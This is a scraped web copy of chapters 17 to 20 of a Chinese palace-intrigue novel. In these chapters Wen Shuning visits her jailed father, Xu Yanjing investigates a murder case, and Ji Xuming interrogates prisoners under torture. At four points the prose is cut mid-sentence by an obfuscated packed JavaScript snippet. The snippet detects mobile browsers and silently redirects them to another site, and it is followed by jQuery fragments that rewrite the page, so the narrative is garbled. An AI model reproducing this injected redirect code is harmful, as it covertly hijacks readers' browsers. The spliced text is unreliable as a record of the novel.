“在云。”另一道声音响起,温书宁朝这个名叫“在云”的人身后看去,这才发现黑暗中还有一人坐在椅子里,因穿着玄色长衫才没有发现。 纪叙明站起来走到在云身边,抬手拍在他的肩膀上,在云立即收剑拱手:“大人,此人来路不明,只怕是——” “无妨,”纪叙明在温书宁面前蹲下来,说道:“告诉我,你是谁派来的?来这里做什么?不说的话……” 他指了指那个被绑在木柱上的人,声音冷得像雪,没有调,也没有起伏,“下一个在那里的人就是你了。” 温书宁的手也软了,咬着下唇,双眼含着泪,水润光亮,只颤抖着声音喊道:“这位大人……误会……” 话还没说完就眼前一黑,晕了过去。 “这……大人,要不要把她带回去好好审问一番?这么个娇滴滴的小姑娘,保管一套刑具下来什么都招了。” 在云作势要去拖她起来,纪叙明拦住他,狭长的凤眼微微眯起,看见了她腰间的令牌,正伸手去就被打断。 “纪大人无缘无故吓我嫂嫂做什么?”徐言璟负手自暗处走出来,沉着脸色。 纪叙明直起身,“你嫂嫂?” 纪叙明知道他,徐家的浪荡子,花楼酒馆的常客,不过一朝回头入了军营,随着徐大将军征战凯旋得了陛下青眼,算不得什么。 “不错,”徐言璟弯腰把温书宁抱起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938692|192435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“她久居宅院,父亲入狱,不过是想念父亲来见一面罢了,哪里见过这样的场景?纪大人身边的随侍又持剑吓她,没给她吓死已经是好的了,还想做什么?” 在云听说过他,对这个花公子回头走了狗屎运的人十分不屑,“我并没有吓她,谁叫她胆子小还半夜三更来这里。” 徐言璟冷眼看去,纪叙明上前一步将在云挡在身后,“在云年纪小,徐大人莫怪。” “不小了,我二哥像他这般大的时候都已经在战场上厮杀过好几回了,不如纪大人也让他去军营历练历练?”说完头也不回地抱着人走了。 在云看了眼自家大人的脸色,愤愤道:“大人为何要对他这般客气?” 纪叙明转身坐回椅子上,“如今他得陛下器重,他大姐是贵妃,二哥病故却也有满身功勋,余下他,徐家自然最是看中,就算是太子殿下同他说话也得斟酌再三。” “不过是仗着家里人得势罢了!” 纪叙明没说话,命人将木柱上的人解下来拖回牢里就往外走去,天灰蒙蒙亮,他走出诏狱,站在门口看着飘飘雨丝,对身后的在云说:“你去查一下她,是什么来路。” 在云问:“大人觉得那小娘子有嫌疑?” 他的问题没有得到回应。 - 雨越下越大,劈里啪啦砸在窗棂上,温书宁在雨声中睁开眼,看着熟悉的环境松了口气,还好不是在诏狱。 长盈忙进忙出地把外面的书籍往屋里搬,累得直喘气,侧头看见床上的人醒来立刻放下手里的书跑过去,“司记,您没事吧?” “没事,你这是做什么?”温书宁起身走到桌前倒了杯茶。 一提这个长盈就来气,指着外面一箱一箱的卷宗,说道:“还不是那群眼高于顶的,非说您是新来的,有些东西不熟悉,都要看一看,于是把内廷里有的没的都送过了,这么多,要是一本一本看下来得看到什么时候啊?” 见她哭丧着脸,温书宁笑了一声,如今长盈跟着自己,地位自然没有在嘉贵妃身边高了,她安慰道:“没事的,我昨天看了,来来去去就那些,换汤不换药,不看就行了,我好歹是贵妃娘娘钦点的司记,她们不敢把我怎么样的,别生气了。” 长盈‘嗯’了一声,喝了口茶继续搬卷宗,温书宁坐在桌案前,捋着事情,突然问道:“长盈,徐枕之哪里去了?” “小公子吗?”长盈从门外探头,“他送司记回来之后就被贵妃娘娘叫走了,现在应该在永和宫呢。” 温书宁点点头,想到在诏狱见到的那位“大人”莫非就是锦衣卫指挥使纪叙明? 据说他七年前在南山狩猎场救了陛下,陛下回宫后便提拔他为锦衣卫指挥同知,次年指挥使病逝他便顶上了,此人心狠手辣,冷血无情,城府极深,有言说进了刑部狱还可以找黎尚书求求情,酌情下手,若是进了锦衣卫诏狱,有人求情他能连带着求情的人一起丢进狱中鞭笞二十。 是以朝中多有官员看见他都绕道走,生怕跟他沾边,先前她还不信世上有如此行事之人,当下却不得不信了,现在回想起那个被绑在木柱上的人都浑身胆寒,那人除了脸,身上哪里有一块好肉?不是被剜掉了就是被烫掉了,偏偏还得留着一口气。 她深吸一口气,庆幸自己完好无损地从诏狱出来了,得找个时间谢谢徐枕之,说曹操曹操到,蹲在檐下分拣卷宗的长盈看见往门口来的徐言璟立刻来报。 “司记,徐大人来了。” 18. 第 18 章 温书宁站起身,正好能通过桌案旁边的窗户看见院子门口。 徐言璟穿着一身靛蓝色圆领锦袍,腰间缠着黑金腰封,腰间没有佩饰品,撑着伞站在院子门口,伞檐滑落的雨水像珠子似的连成一串,被风吹斜的雨丝模糊了他的脸。 “大人怎么来了?”她放下书起身走出门站在廊檐下,小棠园不大,廊子也短,没几步就走到头了。 徐言璟抬头望向她,“怎么这般客气?” 温书宁的声音从雨中传来,“这毕竟是在宫里。” 她的声音永远温和舒缓,像是春日里的风,极少有大情绪起伏的激进语调。 “方才我去面见贵妃娘娘,与娘娘说了嫂嫂昨夜去诏狱的事情,”徐言璟说:“娘娘说日后嫂嫂若是想见父亲可与我说,我带你去便是。” 温书宁没说话,目光落在他身上扫视,良久才问出心中疑惑,“你为何要帮我?” 徐言璟透过雨幕看向她,眼神晦暗不清,“都是一家人。” 她红唇翕动,将他说的这句话轻嚼了一遍,才道:“今日我想再去一趟诏狱,可以吗?” “当然可以。”徐言璟也笑。 徐言璟走后温书宁便回到了屋子里,桌上堆满了卷宗和写了一半的临摹贴,往日她心静不下来的时候就会弹琵琶,但现在琵琶不在身边,便只能临摹字帖,心静不下来,字也写的不好,越写越烦,索性搁了笔躺在矮榻上叹气。 最近连发两起祸事,其中一起还跟父亲脱不了干系,虽说她不想管,但也不得不管,怎么说他也是自己的父亲。 外面又是下雨又是刮风,长盈收检好卷宗就看见永和宫的掌事嬷嬷领人送来了饭菜,她忙撑着伞迎了出去,“嬷嬷你来啦。” 嬷嬷把食盒递给她,没有进院子,只站在门口瞧上一眼就回去了。 长盈拿着饭菜进屋,在桌面上清出一片将饭菜放在桌上摆好,“司记,先吃饭吧。” “我们不是去尚宫局用饭吗?”温书宁头也没抬,翻了一页,提笔写上标注才抬眼看向桌上的饭菜。 贵妃娘娘宫里的伙食自然是差不了的,但不合规制,她也是知道的。 长盈说:“您不仅是尚宫局的女官,更是贵妃娘娘的女官,尚宫局那边有林司记,您最主要的事情不是这个。” 温书宁知道贵妃招她入宫是为了什么,但没想到连表面功夫都可以不用做,既然如此那她便可以一心一意查母亲的事情。 “快吃吧。”长盈端着碗催促。 她把碗筷推过去,“你饿了就先吃吧,我还不饿,等会儿还要去诏狱见父亲呢。” 长盈端着饭菜坐在门槛上,闻言说:“您还要去诏狱啊?不怕纪大人啦?” 昨夜的事情她同长盈讲过,长盈好歹是在宫里生活了十几年的人,宫中死人的事情不在少数,各种死法的都有,她见怪不怪,听温书宁说的时候还嘲笑她胆子小。 “徐大人同我一道去。”温书宁想着,还是怕的,但也不能不去啊,说不定今天那位纪大人不在呢? 长盈点点头,扒拉了两口饭,“徐大人真好。” 一转眼就到了申时,天昏沉沉,云层低压,像是虽是要落下来,空气中混杂着泥土腥味,路上的小水洼里积攒了许多的水,雨刚停下来就有宫女在扫水,走过宫道从东边偏门出去,徐言璟已经在门口等着了,身后是她在徐家坐惯了的那辆马车,没想到他竟然连马车都牵来了。 徐言璟看见她出来伸出手让她扶着上马车,“小心。” 温书宁坐在马车里,隔着帘子与他对话,“你为何将这辆马车驾出来了?” “听大娘说你常坐这辆马车出门,非常喜欢,”没听到回应,他一把撩开帘子,笑容带了些痞气,十分不正经,“难道大娘说错了,其实你不喜欢?” 温书宁本在想事情,被他冷不丁的动作吓了一跳,看着他一时说不出话。 徐言璟笑容更甚,“果真胆小。” 要不说他流连烟花柳巷赢得了不少姑娘的芳心呢,就凭这张笑起来人畜无害的脸都不知道多招人喜欢,仔细看来他与徐言璟的眉眼确有几分相似,不过他的更显英气,而徐言璟病痛缠身,更多的是温和谦逊。 马车停在诏狱门口,徐言璟撩开帘子伸出手凭她扶着下马车,随口戏谑道:“能让大理寺少卿亲自打马车的人可不少,嫂嫂你是头一份儿。” 温书宁跳下马车眯了眯眼睛,朝他一笑:“那多谢徐大人了。” 说完便往诏狱走去,徐言璟笑着跟在她身后,解下腰间的令牌给狱卒看,狱卒看了一眼拱手低头喊了声“徐大人”便打开了门。 徐言璟在门口等着,狱卒领着她往黎朝的牢房走去,黎朝坐在草席上,听见锁链打开的声音猛地回头,看见温书宁立刻站了起来走到她面前,压着说道:“你怎么才来?” 温书宁看着面前的父亲,几日不见已经是骨瘦如柴,面色蜡黄,双眼凹陷,看来牢里的日子确实不好过,这间牢房里仅有一方小桌和两把小木凳,她坐下,问道:“父亲找我何事?” 黎朝坐在她对面,等狱卒走远才急切问道:“这么多天了,你把信给张大人了吗?” 明知故问,自然是没给。 温书宁静静地道:“张大人年近四十,仅有一位妻子,恩爱非常,从未纳妾,膝下两子一女,阖家幸福,恕女儿愚昧,不知父亲无故提起张大人做什么?” 黎朝脸上闪过一抹尴尬之色,但也只是一瞬,便又摆起了父亲的架子,“我是你爹,当爹的在牢里受苦受难,你怎能袖手旁观?张大人门生众多,几乎都能在朝堂说得上话,你去同张大人说说好话,他再怎么样也会施以援手的。” “父亲!”温书宁闻言也红了眼,怒道:“父亲可还记得我是谁?当初因为您想要攀附将军府,可姐姐又要入宫,不得已把我从扬州接了回来,如今呢?又想用我去换您的官路通畅?您心里可还有母亲?!” 眼泪不争气地流了出来,她胡乱用袖子一抹,“其实我一点儿也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948248|192435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想进京,不想掺和您的事情,姐姐如今是宫里的娘娘,与其让我在男人中间斡旋不如让姐姐去求求陛下,兴许陛下看在姐姐的面子上就把父亲放了呢?” 黎朝自知愧对这个女儿,可毕竟没有情分,怎么也不及从小养到大的,叹了口气,“你姐姐如今不便出面,稍有不慎就是全家遭难,因着我的事情她在宫里也不好过,你也该体谅体谅你姐姐。” 温书宁深觉不能再聊下去了,越聊越荒谬,“我自知父亲于我多有不喜,但我既然嫁给了徐言璟便不会再嫁做他人妇,况且如果不是父亲执意要攀附将军府母亲也不会死——” 啪—— 她话音还没落地就感觉脸颊一阵火辣辣的疼,耳边嗡嗡作响,这一巴掌的力道大的她险些站不稳,踉跄了几步捂着脸,看见父亲怒目圆瞪的面容和张合不断的嘴,耳边却是静悄悄的。 “孽障!” 声音重新回归,听见的便是这两个字,这个地方她多一秒都待不下去了,于是转身跑了出去,眼泪滑落,她不停地擦,眼泪不停地流,到最后还是蹲下来闷头哭出了声。 她哭的是母亲和徐言璟的离开,是命不由己的遭遇,是至亲的抛弃和利用。 早知今日,她当初哪怕一个人守着梧桐巷的小院子生活也好过现在这样。 等到情绪平复些许她才起身往外走,只是眼泪可以擦干净,但脸上的巴掌印却是擦不掉,她皮肤白皙,那印子尤为明显,徐言璟一眼便看见了,“怎么回事?” “冲撞父亲了,”温书宁看也没看他,没有多做解释,径直上了马车,“徐大人,我请你去春满楼吃饭吧。” 徐言璟并不多问,声音从外面传进来,“好啊,不过我要先去买个帷帽。” “我没事。” 徐言璟说:“你当然没事了,我是怕别人不知道的以为是我打的,那真是天大的一口锅,我可背不动。” 他说话时的语调轻快,温书宁被他逗笑了,笑声传进徐言璟的耳朵里他才放下心。 春满楼的掌柜认得徐家的人,但是看见徐言璟当即就皱起了眉,把他堵在门口不让进,“别以为你现在打了胜仗就了不得,你在我们楼里欠的酒钱拖了几个月都没结,这次该不会又要打着徐家的幌子吃白食吧?赶紧结钱,不然当心我喊人来将你撵出去!” 这还是徐言璟自病后第一次来这里吃饭,往日他来都是被捧着的,可惜今时不同往日,他退后一步,说道:“今天我嫂嫂请客,还有啊,以前的账我嫂嫂也会替我还了的,是不是,嫂嫂?” 他一口一个嫂嫂实在叫人撇不开关系,温书宁看着他这副耍无赖的样子,有些哭笑不得,掌柜闻言还顿了一下,思索一瞬便知道来人是东家,忙说:“您是不知道,这小子以前就常骗吃骗喝,您可不要被他骗了。” “无妨,都是自家的人,他欠了多少银子等会儿一起结了,”温书宁往楼上走去,见徐言璟还没跟上,“徐大人在等什么?” 徐言璟低头轻笑,跟着上了楼。 19. 第 19 章 春满楼的地理位置不错,两人临窗而坐,下面就是西江,江上画舫数艘,街边叫卖的声音阵阵传来,热闹非凡。 温书宁倒了杯茶递过去,想到掌柜刚刚在楼下说的话,于是问道:“大人以前来过?” “很久之前来过吧,记不清了,”徐言璟接过茶抿了一口,说道:“嫂嫂客气,现在不在宫里,叫我引秋就好。” 温书宁“嗯”了一声,从袖中拿出验尸记录递过去,“大人英明神断,定会还我父亲清白的,对不对?” “当然,你放心。” 饭菜上桌,温书宁没什么胃口,只简单吃了点蔬菜,徐言璟见她晃神发呆,猜想她是在为父亲的事情伤怀,便出言安慰道:“不用担心,黎大人定是清白的。” 温书宁抬眸,“你怎么知道?” 徐言璟唇角荡漾起笑意,夹了一块肉放在她面前的菜碟里,“先吃饭,吃完我就告诉你。” 她轻叹,将每一样菜都吃了一口,完事之后看向徐言璟,用眼神示意:现在可以说了吗? 徐言璟搁下筷箸说道:“我刚接手这个案子的当天就查过宋钰和陆禹的人际关系,宋钰,宣景二十年进士及第,拜入首辅江从谦,一年内担任过礼部司务,顺天府通判,可见陛下对他有多看重,此人说话谦逊,做事圆滑,当初岭南水患泛滥,便是他亲率赈灾银前去监修堤坝,仅用三个月的时间就平息了水患,还重修了堤坝和桥梁,可见此人多有能力,黎大人是为国为民的好官,这样的人才定不会将其杀害。” 温书宁听他说着竟然有一瞬间的恍惚,曾经徐言璟就是这样在缠绵病榻的时候与她讲的这些。 至于他说的父亲是好官这件事她不置可否。 “至于陆禹,此人极度自傲,仗着是太后的亲信没少耀武扬威欺压弱小,”他端起茶盏抿了一口方才继续道:“在我查到的信息中,他们两个人都认识裴寺卿的千金,陆禹更是与她青梅竹马。” 她问:“你上哪儿知道的?” “我不知道,但是裴小姐身边的丫鬟知道啊,银子出马还有什么事是问不出来的?”他挑眉一笑,手虚虚握成拳撑着脸侧,“黎大人跟宋钰既没有朝堂摩擦也没有私下结交,为何要杀他?跟陆禹更是见都没见过,凡所事皆求好处,案子落在刑部,黎大人查不到真凶陛下大怒革职查办可是半点好处都没有,何苦来哉?” 温书宁觉得他说的不无道理,“那他们到底是谁杀的?” “那就要看这死的两个分别是谁的人了。”徐言璟说:“当今陛下登基时不过七岁,太后垂帘至今,宋钰是近年来科举选拔中杀出来的最狠最堪用的棋子,陛下重用他,自然有人不高兴,太后把陆禹放在锦衣卫,就是为了恶心人,天子与太后斗法,免不了殃及池鱼,黎大人就是那条鱼。” 温书宁闻言睁大了眼,瞳孔微微闪烁,回过神来急忙捂住耳朵,“你快别说了,我不听,连陛下和太后都敢妄议,真是不要命了。” 徐言璟看见她这副模样连笑好几声,吃完饭天色还早,温书宁提议去见见裴小姐,徐言璟说:“等过几日我下了拜帖再叫你同去。” 她想了想,凡事不能操之过急,如此也好。 回到小棠园便接到了黎初意的传召,温书宁放下手里的茶盏,问来传话的宫女,“珍妃娘娘可有说唤我何事吗?” 传话的宫女摇头,“不知何事。” 长盈说:“我跟你一起去吧。” “不用,我猜大概就是问一问父亲的事情。”温书宁也好久没有见过她了,起身跟着宫女往长乐宫去。 珍妃倚在贵妃榻里怀中抱着一只小狸猫,身边留有两名宫女伺候,比人先发现她来的是那只小狸猫,它圆三角的耳朵动了动,扭头看向门口。 温书宁跪在地上见礼,“臣见过珍妃娘娘。” 珍妃微微侧头,由宫女扶着起来,顺手把小狸猫送了出去,“妹妹快起来,进来说话。” 温书宁跟着她走进殿内,珍妃屏退了伺候的宫人,坐在椅子上,随口问道:“怎么想起来进宫任职女官了?” “无聊罢了。”她看着端坐在那里的珍妃,穿金带玉,一身华服装扮,看起来更是华贵了,衬得她模样比没进宫时更加好看。 珍妃看她一眼,端起旁边的茶喝了一口,殿内安静了好一会儿才说:“听说陛下把父亲的案子交给大理寺了?” “是。” “现在是谁在着手调查?” 温书宁:“徐枕之。” 珍妃皱眉,“他是谁?” “二伯和秦夫人的孩子,随父亲从凉州回来的,陛下擢封他为大理寺少卿。” 珍妃叹了口气,语气略有些急促,“本宫被禁足出不去,你可有去诏狱看父亲?父亲如何了?母亲这段时间给我写了不少信,每每问起父亲我都不知如何回答。” 她一下子说了这么多话,温书宁不知道该怎么开口回答,索性低着头没说话。 珍妃见她这副模样更是气急,‘噌’地一下站起来走到她面前,语气有些急切,“问你话呢,你哑巴了?” 温书宁从椅子上站起来,屈膝说道:“看过了,父亲很好,娘娘不必忧心。” 珍妃这才松了口气,转身坐回椅子上,“本宫虽然被禁足了,但如果徐枕之能够尽快破了此案,陛下也就不会再关着我了。” 温书宁没有说话,直到珍妃喝了茶,有些困乏,只说案子有什么进展告知一声便让她回去了。 回小棠园的路上她一直在想白天徐言璟说的话,陛下和太后不合这件事应该是朝野上下都知道的事情,难道太后想杀宋钰仅仅是因为不想让陛下得可用之人吗? 这天底下有才之人不少,他们的志向都是入朝为官,为百姓谋福,为江山社稷,难道太后每一个都要除之吗? 次日天亮,嘉贵妃便召见她,一早醒来吃过早饭便往永和宫赶,此时嘉贵妃正和二殿下在吃饭,她伏跪行礼,“臣拜见贵妃娘娘,二殿下。” “起来吧,”嘉贵妃问:“吃早饭了吗?” “吃过了。”她头也不抬地恭敬回答。 嘉贵妃瞥了她一眼,“头抬起来说话,本宫带你进来,在皇后她们的眼里你就是本宫的人,这样畏缩胆怯像什么样子?” 温书宁依言抬起头,目光落在桌边吃饭的二殿下身上,少年约莫十六七岁,穿着浅金色玉龙圆领袍,玉簪挽发,模样清隽,扫了她一眼便继续吃饭。 嘉贵妃坐在上座,温书宁站在那里不挪动,整个殿内只有二殿下吃饭的声音,或许是感觉到了异样,他看向嘉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955230|192435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贵妃说道:“母妃,你找她来有何事直说便是,儿臣又不是外人,有什么不能听的?” 嘉贵妃睨了他一眼,“吃你的饭吧,吃完了赶紧回去读书,明日你父皇就该抽查你的功课了,两千兵该如何打赢两万兵的策略想到了吗?” “要是舅舅在肯定有办法。”他嘟囔着喝完了碗里的粥,转身带着人跑出去了。 等他走后嘉贵妃才从靠枕下面拿出一方帕子递给她,“月底太子就要从太庙回来了,明白本宫的意思吗?” 温书宁其实不明白,伸手接过那方帕子久久不语,嘉贵妃继续道:“前年秋猎时太子受了伤,有人救了他,这便是那人的帕子。” “娘娘知道是谁?”她问。 “知道不知道又如何?现在你拿着这帕子,你就是他的救命恩人,本宫没想过杀他,只想叫他让出太子之位,”嘉贵妃看着她,神情严肃,“你能做到的,是吧?” 温书宁犹豫过后最终点头。 - 深夜,诏狱。 一声高过声的惨叫穿彻整个牢狱,纪叙明穿着常服手里握着一把短刃削骨刀,声音森冷,“你猜猜看,到底是你的嘴更硬还是骨头更硬?” 噗嗤—— “啊——”那个血肉模糊的人死死瞪着纪叙明,啐了一口血水,“纪叙明,你不得好死!杀了我吧,你快杀了我吧!” “放心,你活不下来的,这么多天了,也没人来救你,倒不如把你知道的都倒出来,省得受皮肉之苦。”纪叙明的手轻轻转动,那人张了张嘴,一句话都没说出来就晕倒了。 在云木着脸站在旁边,见人晕倒就要去舀水来浇醒,纪叙明抬手制止,随手把削骨刀扔在桌上,“让你查的事情查的怎么样了?” 在云拱手汇报,“三年前六月进锦衣卫的一共有一百余人,这些人中大半都是跟陆禹一样,靠着太后的手进来的,陆禹死前见过曾宵,不出意外的话那名单应当在曾宵手上,只是陆禹死后他就消失了。” “还有呢?”纪叙明拿着帕子擦手,转身往外走去。 “派出去的暗探说上个月在杭州府见过他,但是一转眼人就跑不见了,属下已经派人去找了。” “嗯,”他请应了一声,说道:“让你查的人呢?” 在云“哦”了一声,“黎二小姐是刑部尚书黎朝的二女儿,她姐姐是珍妃,今年三月份嫁给了徐小将军,前几日她来这里就是看望父亲。” “嫁给了徐言璟?” 在云:“是。” 夜空群星闪烁,纪叙明站在门口,抬头看了眼天上,自言自语似的说了句:“明天是个好天气。” 在云扶着他上了马车,突然说道:“不过说来奇怪,黎大人对外说黎二小姐是姨娘李氏所生的,我们的人找到当年给李姨娘接生的稳婆,得到的消息却是李姨娘当初难产,生下来的男婴当晚便夭折了,李姨娘也因为出血过多死了。” 纪叙明坐在马车里,闭目养神,听见这话勾了唇,轻声说:“有意思。” “什么?” 月光把摇摇晃晃的马车越拉越长,马车里纪叙明的声音时隔良久再次响起,“继续查,从她祖宗十八代开始查也要给我查清楚,陛下身边不能留隐患。” 在云拱手:“是!” 20. 第 20 章 杭州府,竹林。 一匹深棕色的快马疾驰在林中,带起尘土和落叶,曾宵坐在马上,连回头看的勇气都没有,额头上黄豆般大小的汗珠直直垂落在马背上。 出了竹林就是官道,曾宵长长呼出一口气,胸口剧烈起伏,放慢了速度,悠悠往前方走去,忽然,一支冷箭自竹林中窜出来,箭矢刺进了马儿的后腿,吃痛的马儿瞬间变得狂燥起来,开始胡乱地跑。 “吁——吁——” “怎么回事?”他向后扭头,看见了那支箭矢,瞬间暴怒,“他娘的龟孙儿!是谁?!” 他死死拽着缰绳,摸出弯刀,以防不备,“出来!有种就给你爷爷出来!” 马儿的疯狂把他晃的晕头转向,连路都看不清,直到‘嗖’地一声,第二支箭矢分毫不差地刺进了马儿另外一条后腿,这一下马儿直接倒在地上挣扎,曾宵也滚下了马背,他来不及哀嚎背上地疼痛,迅速站起来警惕地盯着周围。 这条官道临山,很是荒凉,也就只有远行的商人和盗贼会走这里,他想着,自己很有可能就是遇到盗贼了,于是把弯刀横在胸前,以防偷袭。 “呵,别白费力气了,纵使你跑到天涯海角小爷也会抓到你的。”一道冷笑声骤然响起。 闻声曾宵的身体猛地一僵,抬头看上面,只见临山的峭壁崖上站着一个人,他连连后退,“在云?你这小子,我与你无冤无仇,为何伤我?” 在云跳下来稳稳落在他面前,“赶紧拿来吧,大人说了,坦白从宽,抗拒从严,说不定还会让你去诏狱跟你的好友作伴。” “什么拿来?我的好友都在锦衣卫,怎么会在诏狱里?”曾宵装傻,脸上堆起笑,“莫非是大人有什么吩咐所以让你来找我?” 在云很不喜欢像他这种装疯卖傻的模样,当即一脚就踹过去了,“装你娘的,三年前六月的擢选名单,赶紧给小爷交出来!” 曾宵被他一脚踹倒在地,躺在地上捂着胸口哀嚎:“在云兄弟,我是真不知道你在说什么,要不然你回去问问大人,是不是有什么误会啊?我怎么会有锦衣卫的擢选名单呢?” “还装!”在云吹了个口哨,竹林里立刻跑出来十几个人,他拎着曾宵的后衣领把他提起来一把扔到自己的马背上,“不知好歹,不愿意跟我说,那就去牢里跟大人说吧。” 曾宵身材消瘦,比在云还矮了小半个头,他拎起来毫不费劲儿。 在云一路带着曾宵快马直奔京城,两日后才进京,路上曾宵没少折腾,一入京就带着他去了诏狱,进去时正好看见上次绑在木柱上的人,已经成了一具尸体,曾宵的目光简单扫过他的身体,最后落在他的脸上,看清楚之后冷汗瞬间冒了出来。 在云见他这副模样冷笑一声:“现在知道怕了?晚了!” 诏狱最里面有个专门审讯罪犯的房间,里面分为两间,用一面隔断的墙分开,只有一小扇窗户留着通风,阳光从窗户投射进来,正好照在中间的木柱上,照亮了那里猩红的血。 纪叙明就坐在前面的桌子边仔仔细细地洗手,桌上放着刚才用过的刑具。 “大人,人抓回来了。”在云把曾宵一把扔过去。 曾宵踉跄着小走了几步站在纪叙明面前,“嘿嘿”笑道:“大人,小的前些日子告了假,不知大人找小的有何事啊?” 纪叙明抬眼看向他,眼里溅了些许鲜血,双眼猩红,看起来像是会吃人的罗刹,看着曾宵脸上的堆笑,他收回视线,一句话没说。 在云说:“这孙子嘴硬的很,真他娘的是装疯卖傻的一把好手。” “在云,好好说话,”纪叙明拿起桌上的帕子,仔仔细细把双手每一个缝隙的血迹都擦拭干净了,才起身,对着在云说:“刚洗干净的手。” 曾宵“啊”了一声,对他这句话感觉到莫名其妙,在云却笑了,“大人慢走。” 纪叙明背着手往诏狱外走去,走到一半又折了回来朝另一个方向走去,那是关押黎朝的牢房,这人他记得不是很清楚,来的时候他正忙,都没正眼瞧过。 走到关押黎朝的牢房,他挥手让看守的狱卒打开锁链,黎朝听见声音还以为是温书宁,从草席上坐起来才发现是纪叙明。 对方坐在桌子前,毫不客气地倒了杯茶,自顾自喝着,他起身走过去,“纪大人找我何事啊?” 他跟纪叙明虽同朝为官,但所行之事却不同,是以两人很少在朝堂上碰面。 “黎大人需要帮忙吗?” 黎朝一听就打算躺回草席上,接过听到他继续说:“以你女儿的能耐恐怕一时半会儿不能让你出去。” “陛下已经把案子移交给大理寺了,总有一天会真相大白,水落石出。” “大理寺那个新来的少卿?”纪叙明轻笑,“徐家的那个纨绔?你指望他会查案?只怕等他还你清白你都要老死在这里了。” 话音落下黎朝没再出声,在心里咂摸了好久才问:“条件是什么?” 条件谈妥了之后纪叙明才从诏狱出来,在云等在门口,看见他便说:“那孙子嘴真硬。” “不着急,跑不掉的。” - 尚宫局那边搬来的卷宗已经看完了,温书宁坐在桌案边看着外面发呆,每当这个时候她总是格外地想母亲,想在梧桐巷的日子和那个被上天嫉妒早逝的少年将军。 她想,如果徐言璟没有中毒生病,说不定现在胜仗归来封官的就是他了。 可世上没有那么多如果。 “司记!徐大人来信啦!”长盈的声音远远传来,温书宁抬头看去,没有见到人,等了片刻才看见一抹浅黄的裙角。 长盈把信递给她,温书宁接过,说是信其实就是一张小字条,上面写了时间和地址,她看过之后就把信放在火上烧成了灰,“徐大人有说什么吗?” 长盈点头,“来送信的人传话说大人叫司记不要迟到了,过时不候。” 好一个过时不候。 约定的时间是今天戌时一刻北门见,戌时她要去给贵妃娘娘送东西,这是打定了她会迟到才故意这么说的。 罢了,既然他早有预料,那肯定也料想到自己会久等,这句话横看竖看都像是故意的。 天渐渐黑下来的时候尚宫局林司记来小棠园取东西,长盈放下燃灯的火折子,“林司记。” 林司记是皇后引荐的,在尚宫局已经有五个年头了,对人对事都一视同仁,只有这个新来的黎司记,贵妃娘娘竟特许她在永和宫的小院子里上工,内廷说到底还是由皇后娘娘说了算的,她有意无意提过几次,皇后娘娘都没有什么反应,大有随她去的意思。 “我来拿《内廷记事录》,还有一些卷宗,想必黎司记都看完了吧?” 长盈忙不迭点头,这本《内廷记事录》正是要送去贵妃娘娘那里的,“林司记进来稍作等候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968363|192435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奴婢这就去取。” 林司记朝她挥手,“你快去吧,我就在这里等着。” 长盈“嗳”了一声转身往房间跑去,穿过屏风找到林司记要的卷宗,正要拿出去就被温书宁撞见了。 “这些等会儿要送去给贵妃娘娘的,你拿到哪儿去啊?” 长盈朝院子外面努了努嘴,“林司记来取,指名要这些,大概是要给贵妃娘娘送去吧,正好司记你就不用跑一趟,不然就要赶不上徐大人的约了。” 温书宁朝外面看了一眼,果然瞧见了站在院口的林倚笙,于是从长盈手里接过卷宗,“我去吧,你先回去休息。” 长盈点头,往屋外走去进了旁边的房间,温书宁把卷宗递给林倚笙,说道:“麻烦林司记跑一趟了。” “哪里的话,不过是顺路罢了。”林倚笙客气地笑了笑,接过卷宗就转身走了。 温书宁看着她的背影,心里暗想:这么巧合吗?难不成嘉贵妃知道自己跟徐枕之有约了? 北门口。 徐言璟照旧驾着马车等在门口,恰好遇见从诏狱回来的纪叙明,两人在北门寒暄,徐言璟其实对这个人不是很熟悉,两人虽然都同为朝廷做事,但徐言璟常年在外征战,两人极少能碰到面。 “徐大人,好巧。” 